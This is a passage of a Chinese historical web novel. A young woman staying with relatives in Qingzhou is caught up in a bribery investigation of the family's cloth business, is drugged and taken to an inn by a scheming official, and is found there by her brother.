下了台阶,二楼都是供人歇息的厢房,行至船头,嬷嬷拉开房门,将几人带进屋。 同陆府相比,这厢房显得有些简陋,但甚在整洁,案上还放了一大束茉莉,一看便是用心收拾过的。 “麻烦孟姨您了,”陆念安很是感激,开口时有些羞涩,她双手不自然地扯住裙摆,道谢:“这几日我都会很听话的,绝不会给您带来麻烦。” 孟兰因没有回话,只是认真盯着她,一直盯到她垂下眼眸,纤长睫羽也害羞地轻颤起来。 孟兰因这才收回目光,忽然轻笑了声:“念安,我就住你旁边那间屋子,不用怕麻烦,若是有什么缺得便不找表哥了,直接同我说便好。” 缓声说话,孟兰因转身合上门,留给她独处的空间。 船下有些暗,一门之隔,孟兰因沐在阴影里,却没有回到隔壁厢房。 缓了缓,她抬起眸,就见对面嬷嬷也是一脸惊讶,忽得泄气了,落寞道:“干娘,我就说像吧。” 嬷嬷激动,眼尾都湿濡了:“方才说话时那些小动作,简直是同大小姐一个模子刻出来的。” * 推开窗户,江面清澈见底,被日光一照,像极了从西域进贡而来的琉璃,清透间映出一片绿意。 一开始看着这般景物,陆念安还觉得很是新鲜,可眼瞅着七日过去,江仍是江,云还是云,一切忽然就变得无趣起来。 默默将窗户合上,陆念安没什么力气地倒在塌边,继续睡觉。 见状,秋菊放下手中花瓶,凑过去探了探她额头,担忧道:“小姐可还觉得心里不踏实?” 这几日一得空便可怜巴巴地缩起来说害怕,秋菊问了半宿,最后才得知她是害怕被抓回上京。 “怎么还跟个孩子一样,”秋菊想起来便一阵无奈:“都七日了,若是行得快,后日里也该到青州,小姐还有什么可害怕的。” “秋菊不懂,”蜷缩成一团的陆念安勉强睁开眼,轻声道:“我已经不害怕了,只是有些无聊。” 虽这般说着,陆念安却实在不愿起身醒来。 冷静下来后,才觉那日实在古怪,若是哥哥什么也未察觉到,为什么还要强调让她听话一事呢? 一连担忧了几日,却什么也没发现。 或许秋菊说得也没错,真是她想多了才对。 思绪乱糟糟的,陆念安闭上眼,刚打算睡一会儿,却听见一阵敲门声传来。 寂静屋内,几声敲门声清晰,秋菊很快走去将门拉开,见着来人后意外道:“两位公子找我家小姐何事?” 门外,方艾方许并肩靠在一起,一个两手空空,一个手中捧着个乌木大匣子。 方艾先上前一步,目光好奇地往屋内探去,关心道:“念安妹妹?念安妹妹怎么没动静,几日不见,可是有哪里不适了?” “怎,怎了?” 躲在屋中几日,忽得被人探望,陆念安有些不适应地下了榻。 “昨日靠岸,问念安妹妹想要什么也没得到回应,不过我想着船上无聊,便挑了些话本子给你,”方艾忽然朝前凑近:“话说你们小孩应该会很喜欢看话本吧?” 陆念安还没缓过神,就见方艾的一张脸忽然放大,她忍了忍,并未后退,乖巧回答:“喜欢的。” “念安妹妹喜欢便好……” 没等他说完,一侧的方许将手中匣子递给秋菊,打断道:“我们方家人都在青州长大,那里不比上京规矩多,弟弟妹妹们便也没学什么礼数,若有冒犯表妹妹的地方,同我说便好,我既是长兄,便不会放任他们不管。” 他脸上的青涩还未完全消散,此刻着浅蓝色锦袍,脊背挺直身形端正,瞧着分明才二十左右,却是家中长兄,肩负着看管弟弟妹妹们的责任。 在方许眼底,陆念安如今也被划分为妹妹,于是临走前,他沉稳道:“表妹妹的手镯很好看,母亲那儿还有一些旁的,回青州后,我另一一找出还你。” 话落,厢房的门彻底被合上,站在门边,隐约能听见门外吵闹。 一门之隔外,是方艾正在闹不满:“本就是为念安妹妹回的青州,你总打搅我做甚?” 方许不客气地将他拖走,等声音再传进屋内,已变得模糊不清。 但被两人一打搅,陆念安原本混乱的思绪彻底散了,对接下来的两月,她生出些期盼:“方家可真是热闹。” 陆家却是早早便分了家,其余几房虽也在上京,但终是生疏了,除了子诺姐姐,其余哥哥姐姐们是一年也见不上几面。 算下来,陆念安还从未体验过这般热闹。期待过后,她开始有些害怕自己适应不了。 * 十日过去,货船靠岸,下船的那一瞬,陆念安这才对青州有了实感。 是半城水路,错综复杂,随处可见晃悠着小船往前荡得的商贩,一船紧靠一船,岸边路过的人见了,弯下腰就能够到自己所需。 “今日先回府歇一歇,明儿便让怡娘陪你来逛逛。” 方家为本地富商,在青州拥有座还算气派的宅子,但自大房般去上京后,家中萧条清净了不少。 进府后,孟兰因谁也未见,先带陆念安去了库房。 说是库房,却更像是专门放置布料的一间院子,满屋都散出华贵的光泽,各色绫罗锦绸应有尽有。 方家是早些年靠着布坊发家的,这是布料是方家的生意,也是这么多年来,支撑着方家的根基。 今日先带陆念安来此处,孟兰因没别的意思,只让她挑些喜欢的料子:“剩下两月在方府,方家别得没有,只日日换新衣,还是要先备上的。” 说着,恐陆念安不好意思,孟兰因主动替她指了几匹,没等她细看,丫鬟露珠却匆匆忙忙跑进屋。 若非要紧事,府上丫鬟不会这般没眼色。 孟兰因抚了抚陆念安的肩,柔声宽慰:“让嬷嬷陪陪你,我过去看看。” 露珠守在门外等了会儿,上前:“夫人,可算是将您盼回来了,您在船上有所不知,前几日新帝上位后增添了许多条律法,这光是针对咱们布商的便多出足足五条,二爷恐家里的生意受影响,昨夜一宿未睡。” 第88章 第八十八章 青州盛养桑蚕,依山靠水位置独厚,养出的蚕丝细腻光滑,自有“天下第一丝”的美誉。 饶是见惯了这些的陆念安,此刻也被这满屋子华贵迷了眼。 孟嬷嬷上前,目光慈爱:“陆小姐,我们这儿,夏日里是要穿春蚕的,这批料子好啊,刚从布庄里染好色,您看看喜欢什么花色,我待会儿拿去绣坊,您过几日可就能穿了。” 方家人太好相处,盛情难却,陆念安有些不好意思,只好道:“我瞧这个绿色不错。” “绿色确是不错。”但孟嬷嬷觉得有些不够,便又点了几个丫头进屋。 从布庄过来的丫头手脚麻利,进屋后依次将色泽细腻的春料取下,一匹、两匹、三匹…… 陆念安忙劝阻:“只要绿的便好了。” 她虽是喜欢,但一个夏季便制这般多新衣裳,难免有些铺张浪费。 嬷嬷却完全没有阻止的意思,反而宽慰开口:“这院里皆是夫人私库,小姐不必担心旁的。” 孟嬷嬷一边说一边指着丫鬟,直到几个丫头都快搬空半个库房,陆念安彻底无措了,扭过头:“孟姨忙完了吗?” * “孟姨还未忙完吗?”陆念安起身,身着的嫩芽绿云丝绣纹裙散下,她呢喃道:“好像都几日未见她了诶。” 青州靠水,小城的夏日清晨不用冰也是凉丝丝,今日还早,秋菊先悠悠支起窗户,再拿起玉簪。 手抚过陆念安的一头乌发,秋菊回忆:“昨日绣娘来送夏衣时,奴婢问了问,说是近日里布庄出了些事故,孟夫人便一直呆在布庄里头没有回来。” “好了小姐,”随意地将乌发挽起,秋菊拍拍她的肩:“昨日不是说要同哥哥姐姐们出去用饭,瞧时间也该走了。” “嗯。”陆念安点点头,心不在焉地出了院子。 今日要去得是唐街,弯弯绕绕很长一条小巷,巷子两旁堆满了商户,显得紧促拥挤。 几位表姐先下了马车,回过头伸手拉她:“来,念安。” 说这话的是二表姐方子意,她肩上搭着一条长长的辫子,晃动时发尾的小花微颤,她热情地拉过陆念安往前走:“咦,哥哥们好像已经先到了。” 不知不觉,也来了方家小半月,同上京繁多规矩的世家不同,青州这里,很少会特意讲究什么。 方家是商户底蕴,便更显得随意,姐姐哥哥们也很好相处,出门寻乐都会带上她一起。 陆念安便很知足了。 此刻渐入小巷,一阵白烟弥漫,街头早点铺的王婶掀开蒸屉,屉中是被蒸得胖乎的鲜花馒头,甜香一直弥漫到小巷深处。 商户忙碌,方家人早上不用厨房,都是在外用膳。 陆念安已经适应了这般日子,熟稔地要了一屉玫瑰豆沙卷,精致小巧的五个,哥哥姐姐们正好能分完。 再往前是面馆,卤肉的味道逐渐压过香甜,店小二手捧托盘穿梭于人群中,将瓷碗放下:“好嘞客官,您要得卤肉面来了。” 方艾接过碗,一抬眸见陆念安几人,笑着挥手道:“念安妹妹们,这儿呢。” 面馆外立着几张方桌,灰扑扑四四方方的,方艾那桌,一面摆着一碗卤肉面,等几位妹妹走进,他起身让店小二又加了把椅子,自己端起碗同方许挤在一边。 陆念安慢慢坐下,才发现方桌上只余下四碗面,而她那一侧正巧空荡。 刚有些疑惑,方许笑着开口:“表妹妹第一次来这间面馆,我怕你吃不惯,你喜欢什么口味,我想着再帮你重新点呢。” 闻言,陆念安侧眸,面馆门口挂着写满字的木牌,都是些没听过的面食,她扫了眼,有些拿不定注意。 余光瞧见方桌上摆着的四碗卤肉面整整齐齐,卤肉色泽泛红,面长而筋道,看着极为诱人。 想了想,陆念安犹豫道:“那我就要和哥哥姐姐一样的吧。” “那今儿是整整齐齐,”方艾插嘴,唤来店小二:“阿福,再来一碗卤肉面。” “好嘞,”店小二记下,顺口寒暄:“这位小姐是……” 方家在唐街也有间铺子,这些年时常照顾周边的生意,一来二去,就都相熟了。 方艾娴熟道:“念安妹妹,我表妹。” “好嘞!”店小二没一会儿端着托盘走回,细心地给她这一碗多加了块卤肉,热情开口:“小姐是第一次来青州吧,尝尝我这儿的招牌。” 方家几人都已纷纷拿起木筷,方艾更是随意,没几筷便用了小半碗面,似是很喜欢的模样。 瞧几人都这般喜欢,陆念安对这面生出几分好奇,小心翼翼地夹起筷子往嘴中送,方才入口,却被呛到了,捂住胸口忽得咳嗽几声。 见状,几位哥哥姐姐一时都笑起来。只方许抬起茶杯替她斟了杯凉茶,担忧道:“表妹妹可是用不惯吗?” 陆念安已被呛得说不出来话,莹白小脸泛红,眼眸也是湿濡的,乍一看,可怜兮兮。 她没想到这碗卖相诱人的面会是这般味道。 并不辣也不咸,更像是由某种香料散发而出的,她头一次食,有些用不惯。 缓了好一会儿,陆念安回神,默默拿出刚买的玫瑰豆沙卷清口,含糊道:“唔,是有些不适应。” 青州的面食,喜加一种名木苏的香料,这香料同油盐一样必不可少,已经稀疏平常到被人忽略了。 方许想起来这回事,便让店小二重新煮了碗卤肉面,特意吩咐免去木苏,才道:“表妹妹你再试试。” 这一次,陆念安总算未被呛到了,方许松口气,拿起自己的木筷,一边关心:“表妹妹这回觉得如何?” 除却木苏以后,这碗面食变得寻常起来,陆念安素指微顿,但还是点头:“好吃!” 一行人悠悠用完早膳后,巷子里人少了些,天色渐明,空气中浮动起几分热意。 方子意便去隔壁饮子铺买饮子,挨个问完后念叨着:“绿豆饮、紫苏饮、江茶水、木瓜水……冰醪糟小圆子、江茶水、木瓜……” 见她记得费力,陆念安主动上前挽住她:“表姐我们一起吧,我也能帮帮你。” “还是念安妹妹对我好,”方子意忍不住捏了捏她的脸颊,“哥哥姐姐就只知道打发我,每每来面馆,都让我一人去跑腿。” 虽这般抱怨,但她神色如常,显然不是真的在计较,于是笑一笑也就过去了。 饮子摊支在对街,一来一回并未花费太久,片刻后,陆念安手中多出一个食盒,小心翼翼地往回走。 只是当再抬眸时,面馆前哥哥姐姐们的身影却已经逝去,只余下店小二继续穿梭于人来人往间,一声一声地应着好嘞。 方子意看了一眼,了然收回目光:“应是先去了马车那儿,太过分了,不等我就罢,连表妹妹也不等。” 她有些气愤地拉陆念安走出巷子,打眼一瞧,方家的马车果然停靠在巷口。 走近后,没等她抱怨,方艾反而横了她一眼,抬手接过食盒,随口道:“子意你说你怎么就这么喜欢呲牙咧嘴呢?” 方子意心下更气,护住食盒,愤愤道:“不给你喝了!” 说着,两人就推搡起来,方许看不下去,忙开口劝和:“好了好了,不是故意撇下你同表妹妹,是方才遇到舅妈家的小厮来配药,有些心急。” “舅妈病了?”方子意眨眨眼,她很快想明白,当即跑上马车,就有些急促:“我也有些放心不下,去看看吧。” 那食盒已被不甚在意地丢给丫鬟,一个晃神,方子意的身影消失不见,她掀开车帘催促:“还等什么,哥哥快走呀。” 事故突然,几人都想早一些去探望舅妈。方许同方艾却站在原地没动,神色忽然变得为难:“念安妹妹,你也同我们一起去吧。” 长街一侧,一片熙攘里,陆念安抬眸撞见表哥们复杂的神色,忽然意识到自己成了麻烦,她忙道:“没事的哥哥,我都这般大了,我可以自己回府的。” 见方许还要挽留,陆念安只好又找了个借口:“……我,我想回府去看看孟姨的,都许久未见她了。” 劝说片刻无果,马车上几位妹妹又催促起来,方许也只好不在挽留,语气歉疚:“那表妹妹,我们先走了。” 马车疾驰离开,踏起一片灰尘。 来时的热闹散去,只陆念安还留在原地,她手中提着食盒,独自上了另一辆马车。 方府人多,马车便也宽阔敞亮,她却生得太纤薄,如今形影单只的,略显孤寂。 陆念安缓缓抱住食盒,却没觉得孤单,反而如释重负地松了口气。 方家的亲戚她全都不识,若此刻跟着哥哥姐姐们过去,到时连介绍自己都要花上好一会儿。 更别说大家是探望病人,大抵也不希望有外人来的。 车帘被微风掀起,偶然瞧见窗外一家和睦的场面。 每每到了这时,陆念安才会有些想念上京。 数着日子算,离家好像也小半月了。虽然在方家的日子也很开心,但总归是借住,难融入进一个拥有十多年共同回忆的大家庭里。 思及如此,陆念安眨眨眼,忽然很想知道家中的近况,或许……母亲已替哥哥寻好婚事了? 眸间有水雾弥漫开,揉揉眼,她发现自己还是想家的。 * 下了马车回到方家时,花园里,十几个丫头正在清扫落叶,连石板都被她们擦拭的一尘不染。 见状,陆念安踩上台阶时犹豫了好一会儿,最后是拿出软帕擦了擦绣鞋,她才继续往里走。 越往里越觉得庄重,所有地方都被收拾了一遍,显得整洁有序。 方家是商户的底蕴,再次以前,从未注重过这些。 陆念安不免生出了疑问,唤来个小丫鬟疑问道:“今日府中是有什么客人吗?” 那丫鬟当即点头:“二夫人为布庄的事情忙活了几日,好不容易才将新来的知府请来府上喝茶,便吩咐我们好生招待呢。” 一个手拿扫帚的丫鬟忍不住抱怨:“从上京调来的知府真是好大排场,我们二夫人早出晚归,又托了无数关系,到头来也不过只换得一个喝茶的机会,真是商不如官,是走是留,不过只是那些大人的一句话罢。” “好了倩然,二夫人见了又该说你了。” 话落,几个小丫鬟都没有久留,又匆匆忙忙地跑去茶室那边做准备。 见此情形,陆念安忽然也不敢乱走了,生怕待会儿冲撞了谁。 她小心翼翼提着食盒,打算整个下午都乖乖呆在屋子里。 “对了小姐,”方才走得那个丫鬟跑回来:“小姐饮过罗藤茶?” 陆夫人平日里是极爱品茶的,每每去了千山宛,都会邀她来喝一杯。 陆念安见得多了,便也习以为常,此刻点头:“从前饮过,怎了?” “夫人不知从哪打听出那知府喜欢罗藤茶,这茶少见,又是上京独有的,家中虽是有,但我们都不会泡制,怕献了拙。” 小丫鬟犹犹豫豫说了好一会儿,陆念安很快懂了她的意思,欣然应下:“无事的,不过都是些小事,我帮你送茶罢了。” 呆在方家小半月,日日都穿新衣,陆念安总有些不好意思,唯恐自己成了麻烦。 现下既是能帮些忙,尽一份微薄之力也好过什么也不做。 第89章 第八十九章 焚烧着的香炉飘出缕缕白烟,沉香扩散,越发显得屋内气氛沉闷。 孟兰因瞧时候差不多了,频频朝门外望去,双手合上捏在一起,显得有些不安。 新帝上位后,朝中动荡甚已波及他们这种小地方,修律法增商税,等传到青州时,孟兰因才发觉地方官员都已被换了个遍。 偏逢屋漏连夜雨,刚要去知州府上探一探情况,从前同方家交好的知州却因贪腐罪玲琅入狱,这是桩大案,牵扯进来不少人。 而他们这些商户,行贿一事说大也大,说小自也不小,全凭这调来的知府如何定义。 但难就难在新帝大张旗鼓地整顿官场作风,这调来的知府想必也不会好说话。 一时间,整个青州的商户都有些忐忑不安。 从前是被迫行贿,商最是人轻言微,放眼整个小城,那知州就是一手通天的,若私底下不交好关系,生意还做不做了? 但被迫归被迫,从知州那儿拿到的好处也是实打实,此番调查,定是要上报几户典型用来杀鸡儆猴。 孟兰因自觉方家还到不了“典型”的程度,但也怕出什么意外。 今日邀知府来家中喝茶一举,是探口风,更是攀攀关系好求庇护。 正思考下一步该如何走时,小丫鬟匆忙跑进屋,焦急道:“二夫人,马车来了。” 孟兰因当即起身,命小丫鬟先去准备白茶,再匆忙赶去,亲自将知府迎进屋内。 此番见面是托京中大老爷的关系,一连等了几日,终于等来了人,孟兰因有几分局促,亲自上前拉开木椅,笑道:“李大人,您随意坐。” 李山海到也不客气,慢悠悠坐下,他佛了佛长袍上的灰尘,不冷不热道:“远在上京之际,便听闻过方家的布庄,没想到背后的东家竟是位后宅夫人,真是让我刮目相看呐。” “李大人过誉了,我说到底,也只是替家中郎君管些小生意罢。”朝中有许多人都不喜女子为商,孟兰因揣摩着他的态度,没敢多聊,小心翼翼地转移话题:“听闻李大人喜白茶,家中丫头已去准备了,还望大人评一评。” 话音落下,小丫鬟示意守在门外的陆念安进屋,轻声交待:“小姐不必紧张,斟完茶后小心退下便可。” 廊下日光暖和,陆念安换了身更素净的灰衫,玉簪也改为木的,整个人柔和恬静,打眼看去,还真像个貌美的小丫头。 陆念安呼出口气,捧着托盘的手紧了紧,才下定决心往里走。 屋内气氛太过沉闷,因为事先知道这位知府对孟姨来说很重要,陆念安低眉垂眸,盯着脚下的粉绸绣鞋,一点一点往前挪动。 托盘上盛放着一整套茶具,白茶最为讲究手法,最为正经的泡制,从洗茶到焖茶就要来回三次。 陆念安也是从陆夫人哪儿学得,她告诉自己不必紧张,将托盘放置于一侧的桌案,十指纤纤,用木夹稔起白茶—— “等等。”李山海忽得打断了她,陆念安明亮的眼眸闪过茫然,一时不知该不该松手。 “劳陆二夫人费心了,”李山海扯开关系,公正道:“同方大爷在京中见过几面,此番来青州,他也特意给我写过信提了提布庄。” “我便也实话同你说了,你们方家我真没想为难,但求我我也是真没办法,”一边抬眸看着窗外,李山海语调忽然便轻:“这几日去了几户人家,不是金银玉石就是美人古画,我难道不想要吗?只是新帝决心整顿风气,一路过来都有人监察着我,瞧瞧时间也该到了。” “那可是京中真正的大人,随随便便一句话,我都是要掉脑袋的,我也很怕啊。” 李山海抖着肩,余光瞥见屋外一道修长的影,他拉开一旁的圈椅,又小跑过去卑微赔笑着:“陆大人,早候着你了,快请快请。” 在孟兰因面前高高在上的姿态瓦解,李山海笑得越发奉承,一边迎着来人,还不忘指着陆念安:“你,快去倒茶。” 陆念安本垂着眸,听见陆字以后,她第一时间觉得有些巧。 反应过来后,端起托盘往一旁走,陆念安掀起茶罐,白茶的香气散开,她轻轻嗅着,忽然觉得这味道有些熟悉,甚至有一种……家的感觉。 真是昏头了,陆念安心下叹气,提醒自己该专注一些了。 来人渐渐逼近,几乎是靠近的瞬间,一股压迫感侵袭而来。 这压迫压得人提起口气,就像风雨欲来以前的平和。 陆念安本就怕生,当下不由得紧张起来,她手上动作加快,有些急促慌张地泡茶,只想要尽快离开这间屋子。 孟兰因同样有些紧张,比起李山海,他身后这位身子高大的男人显然更让人心生畏惧。 开布庄的这些年,同形形色色的人皆相处过,她并不惧脾气急或是易怒之人,相反,越是平和,越是冷静之人,往往不动声色便轻易加害于人。 所以在看见陆祈的第一眼,孟兰因心中凉了半截,莫名打了个寒碜,起身迎道:“陆大人。” 陆祈没什么太大反应,态度如常地应了声:“嗯。” 他嗓音算得上清冽,有些寡淡。 陆念安莫名一僵,连心脏都有些泛痒,一直难受到她抬起眸来。 李山海躬腰走在前侧,更显他身后之人清贵。 门窗大敞,屋内明晰,青州的太阳天有些湿濡,光影模糊掉来人的轮廊,虚虚实实间,得以片刻清晰。 男人熟悉的白衣雅正,眉眼却变得陌生至极,这样生疏的神情,陆念安此前从未见过。 许是察觉到她呆愣的目光,他便居高临下地扫了她一眼,陆念安捏住茶盏的手不由得一紧,陆祈已轻轻收回目光,就像是看到了一个无关紧要的人。 心乱如麻,陆念安因此陷入了片刻无措,呆呆拿着茶盏却未动。 “愣着干什么,倒茶啊。”李山海见她呆愣,有些心急地催促道。 李山海是急性子,嗓音一时加大,听起来有些像吼。 “哦,好……”陆念安回神,拿着茶杯的手却一时颤得更厉害了。 孟兰因见状,都快心疼死了。 她是知这孩子怕生的,性子软,就同姐姐一样,要人小心哄着。 不说陆念安当下被吓到,就是她一把年纪了,应付起这般人物,也觉得吃力。 孟兰因强打起精神,主动出声:“李大人,方才问到何处了?” “咳……”李山海挺直腰杆,一边用余光瞥陆祈的神色,一边开口:“知州府里共清出百于匹丝料,皆是方家布庄所制,孟二夫人,陆大人此番陪同我前来,也是想弄清这些布料是王贵福朝方家买得,还是方家主动送过去的呐?” 面色一白,孟兰因没想过此番调查会这般较真。 若都按这番话来,她方才还是想得太简单了。 圣上这哪是杀鸡儆猴,只怕是国库虚空,将注意打到他们这些商户头上来了。 屋内气氛逐渐转为压抑,孟兰因坐在主位,忽然觉得自己才是个外人,拿不定注意该说什么话,纠结地蹙起眉。 沉闷间,李山海也已经有些沉不下心了,额上弥着细汗,却见陆祈一脸平静,周身气势反而越发淡然。 同这位陆大人相处了三日,李山海其实也没摸透他是何性子,只是对他的立场越发好奇。 不敢多看,李山海收回目光,知道自己该第二次逼问了,他便垂眸打开手中卷宗:“方来青州,便听闻方家布庄的料子华贵,足足百匹料子,若是王福贵朝布庄所购,他哪来这般多银两,还是说,走得什么私账但官家不知?” 方家送得百匹布料可都是实实在在的证据,孟兰因心知这问题不好回答,干脆继续沉默,强撑着没倒下。 寂静室内,没有人再说话,僵持间,一个茶盏却忽然摔落至地,好大一声响,青瓷碎开,落了满地茶汤,尽数浇在男人黑色的步履之上。 室内死寂一般的沉默,陆念安手腕仍在颤抖。 她实在太紧张了,当下听着这些逼问,便被这番凝重扰得呼吸不畅。 压抑之下,也是最先撑不住的,此刻紧咬着唇瓣才没让自己哭出来。 李山海显得比她还着急,哪里还顾得上逼问,蹲下身就开始拾那些瓷片:“怎么回事,倒个茶也不会吗?” “她年纪小,”孟兰因替她回答,趁机将陆念安唤走:“惊扰了大人,还不赶快下去,另寻个机灵些的丫头来。” 陆念安没走。 相比于方才的沉默,她反而觉得现下的混乱更让人好受,犹豫地看了陆祈一眼。 他却没有回眸,连余光都未分给她一眼,鼻梁高挺,侧脸轮廓冷硬。 稚气如陆念安,也渐渐明白了局势,也知当下情况全在他一句话。 她这才后悔做出离开的决定,连一丝余地都没留。 心下心虚,陆念安一慌乱就说不出来话,又恐陆祈生气后已不认她这个妹妹了……不认就不认,她不过是想再替孟姨求求情罢了。 杏眸扑闪着,见李山海正清理地上的瓷片,陆念安意识到自己还做了件坏事,一个心慌,蹲下身陪他一起捡。 正巧蹲在黑色步履前,裙摆散开压出褶皱,她浑然未觉,素指触上眼前的那块瓷片,刚要拿起,那瓷片却一只大手丢开。 显然是用了些力度,他手腕劲瘦,腕上鼓起青筋。陆念安一愣,就半蹲在地上顺着他手腕抬起眸子。 陆祈正皱着眉看她。 第90章 第九十章 听到动静后,守在门外的丫鬟一同赶进屋收拾,李山海便松开手,将一地狼藉撇给她们。 赶忙起身,他回过头,就要训斥方才那个不长手的倒茶丫头。只是话到临头,喉间却忽得一哽。 长指擦过莹白小手,碎掉的青瓷被陆祁丢开。 李山海看着眼前这一幕,不由得抬起手揉了揉眼,还以为是自己看错了。 那倒茶丫头已经起身,眼眸湿濡,唇瓣殷红,手捧起托盘,一声不吭地就要退下。 一身素衫难以掩盖她的好颜色,若是放在上京,早被哪位大人纳了去,哪里还能留在府上当丫鬟。 李山海若有所思地眨了眨眼,原来是没找到合适的法子吗? 回过神,李山海忙将人叫住:“你叫什么?” 意识到他是同自己说话,陆念安缓慢回头,圆润的眸子瞪大:“我吗?” 说话没个正行,连句道歉也不会说,还直愣愣看着人,李山海从没见过这般不懂规矩的丫鬟。 好在有几分姿色,事后还能请个嬷嬷来教教她。 这般想着,李山海神色松了松:“就你,走什么,回来继续把茶泡好。” 陆念安微颤,只好不情不愿地又捧着托盘缓缓走回去。几案立在陆祈右侧,路过时,她低低垂下眸,一点也不敢多看,那模样任谁瞧了都觉得太规矩。 怪不得还是个丫鬟,真是死脑筋。 李山海心里有些急,可碍于正事还没谈完,他忍了忍,开口道:“孟二夫人想好了吗?” 孟兰因心知不能再拖:“那百匹布的确是我们方家送去的,王大人每一季都会在布庄定上十匹,全挂了知州府的账,只是从没来结过。” “可两位大人……我们方家做得都是小生意,如何赶去知州府里催账,便一直耽搁到现在。” 这话只是半真半假,若细究起来,方家还是落了下风。 孟兰因有些忐忑,捧着茶杯的手也不由得收紧,静静等待回应。 李山海其实也拿不定,侧眸看向陆祈,见他并未发问,便又看了看那倒茶丫头,心下有了注意,问道:“账本呢?” 能顺着她的话往下是再好不过,孟兰因松口气:“账本都好生放在铺中的,李大人若是想看,我唤个丫头拿过来便是。” 李山海起身:“圣上点名彻查此案,这般重要的账本,孟二夫人还是亲自陪我去瞧瞧吧。” 孟兰因起身跟上去:“两位大人这边走。” 屋内因此陷入静谧,陆念安刚将白茶泡好,双手捧起茶杯还没递给陆祈,却见他看也没看一眼,反而起身欲走。 抬起眸,孟兰因心事重重地走在最前方,连日来的操劳使得她面色泛白,瞧着极为憔悴。 家中这几日都在传布庄出了岔子,但真正将这事放在心上的确没有几人。 陆念安隐约意识到这事情并不简单,眼瞧着门就要合上,顿了顿,上前几步也跟了过去。 马车停在方府门前,从此处去布庄要路过两条长街,一回头见陆念安跟了出来,孟兰因有些无奈地看了她一眼:“念安你怎么跟来了?” “我想陪陪你,”陆念安有些担忧:“孟姨,我也可以帮上忙……” 一句话未完,李山海笑着走来:“我还有些问题想问问孟二夫人,若孟二夫人不嫌弃,这边请。” “自然。”孟兰因应下,轻拍了拍陆念安的肩,安抚她回家。 两人齐步上了同一辆马车,陆念安也想抬步跟上去,身后却走来个小丫鬟对她道:“这边来。” 被清扫干净的长街上,马车静立于街头,坐在最前方的车夫紧紧扯住缰绳等待,一直到陆念安上了马车,他当即松开手,放任马儿往前跑。 陆念安还未站稳,晃荡间,她忙抬手扶住一侧,颤颤巍巍地坐下。 车内焚着很重的沉香,几乎透不过气一样,她有些不适地掀开车帘透气,仍在想布庄的事情。 陆念安很快就发现是自己多想了,既然是查案,哥哥便不是因为她才来青州。 若不是因为她来得青州,他应也不是生气才对。 想通这一点后,方才的紧张散了些,她呼出口气,胆子一时大了不少。 或许……她还是可以替孟姨求求情的? 思绪已经乱乱的,陆念安打了哈欠,觉得自己有些困了。 朝窗外看了一眼,不知何时,马车已经驶过嘈杂闹市,窗外绿意盎然,景色尤为陌生。 她没意识到什么不对,闭上眼后,想起布铺应要开在人多的地方。 那这又是哪儿? 陆念安指尖微颤,努力睁开眼想让自己清醒一些,只是显然已经晚了,头脑更加昏沉,她被迫昏沉沉昏睡去。 小案上的香炉仍在不断往外扩散香气,白烟升腾,直到彻底燃尽后,马车缓缓停下。 * 客栈门前,两个嬷嬷已经候了许久了,见马车停下,其中一个矮一些地瞪了车夫一眼:“怎么这么慢?” 车夫摸了摸头:“李大人交待的突然,再说这客栈这般偏,我哪里……” “这客栈里住得都是大人物,哪里能随意让你编排?” 两个嬷嬷忙打断他,上前将车里人抬进客栈。 先帝曾微服私访在此处歇过,自那以后,客栈便成了专供皇家所用,整座别院极为安静。 随意推开了间屋子,矮个子嬷嬷张望了眼,挽起衣袖:“咱先给这位姑娘洗洗?” “不然呢?”高个子嬷嬷上手扒拉开灰白素衫,指使道:“对了,你把香取来,若是待会儿醒来可就麻烦了。” “好。” 一阵忙碌后,高个子嬷嬷将人放进水中,想起双手滑过女孩肌肤时细腻娇嫩的触感,目光有些惋惜。 陆念安便是在这个时候醒来的。 吸入过多的迷香后,至使人醒来后也仍旧虚脱无力,她只能勉强半睁开眼,静静打量眼前这陌生的一切,连质问一句的力气都没有。 “怎么醒了……”高个子嬷嬷一低头,忽然有些急,忙加快了手中动作,最后找了块薄毯将她裹起来。 陆念安指尖微颤,天旋地转了瞬,她感受到自己被放平,头顶的床架陌生至极。 门被推开,泄进一室光亮,矮个子嬷嬷手拿线香匆忙跑来:“醒了?” 点燃焚香炉,矮个子嬷嬷提醒:“这香里加了软骨散,一时半会儿她动不了。” “也别用多了,都不喜死的,你算算时间,再点半支应是够……” 焚香的气味扩散开,渐渐充斥于屋内的每一个角落,陆念安重新闭上眼,耳边落下一道很轻微的关门声。 只是这一次,她没有失去意识,只感受到身体越来越重。 清醒远比彻底昏迷更折磨人心。 室内一片死寂,陆念安仔细回忆方才听见的话,恐惧弥漫,她只觉还不如晕过去算了。 那香气越来越重,在失去意识的边缘,不知过了多久,久到眼前只剩下一片黑暗。 “吱呀——”一声,门被推开了。 * 线香燃尽,被这声音惊醒,陆念安指尖微颤,瞪大了双眼。 已是戌时,屋内没有点灯,碰巧今夜又无月,黑暗正缓缓吞噬着每一处。 这一瞬间,陆念安想不到还能有什么比这更坏了,用尽力气紧握住双手,迫切地想让自己能在清醒些。 脚步声已经停了,床榻边好像立着道人影,正静静看着她。 陆念安闭着眼,感受到带着侵略的视线滑过肩侧,下一瞬,薄毯被拉开,手腕被什么冰冷覆住。 是湿冷的,令人恐惧的,她很害怕。 陆念安几乎就要吐出来,她吓得尖叫了一声,蜷缩起薄毯不断往后退,只是很快,却被那双大手连带着毯子一同抱起。 无边恐惧弥漫,陆念安恶心到要被晕厥之际,才意识到耳边男声似乎有些耳熟。 好像很温柔,但渐渐没了耐心,于是他有些急得厉声道:“陆念安,睁开眼看看。” 这声音瞬间将陆念安从恐惧中拉回,她怀疑地睁开眼:“哥哥?” 话音落下,没等他有反应,陆念安闻到熟悉的香味,便挣脱双手环绕住眼前人,一边将脸埋进去,可怜巴巴地抱怨:“呜呜呜呜你都把我吓到了……” 她声音颤抖,唇齿破碎,眼泪氤氲在白衣之上,陆祈没有说话,大掌轻抚过她湿濡的长发,无声哄着她。 薄毯因为挣脱变得松松垮垮,他将她抱得很紧,冷淡了一日的态度松缓,像生生将她嵌进了骨头里。 陆祈声音轻柔,哄她的语调:“不声不响就走时,没想过哥哥也会害怕吗?” 他是这是世上最了解她的人,从她的日常起居到出行无一不细致过问,少时忧她胆儿怯连哭也不敢哭,大些后忧她泪水太多哭疼了眼睛可怎么办。 他想起那个刚来府上不吃不喝不说话的小姑娘,是他费尽心思找来厨子,一点一点喂给她 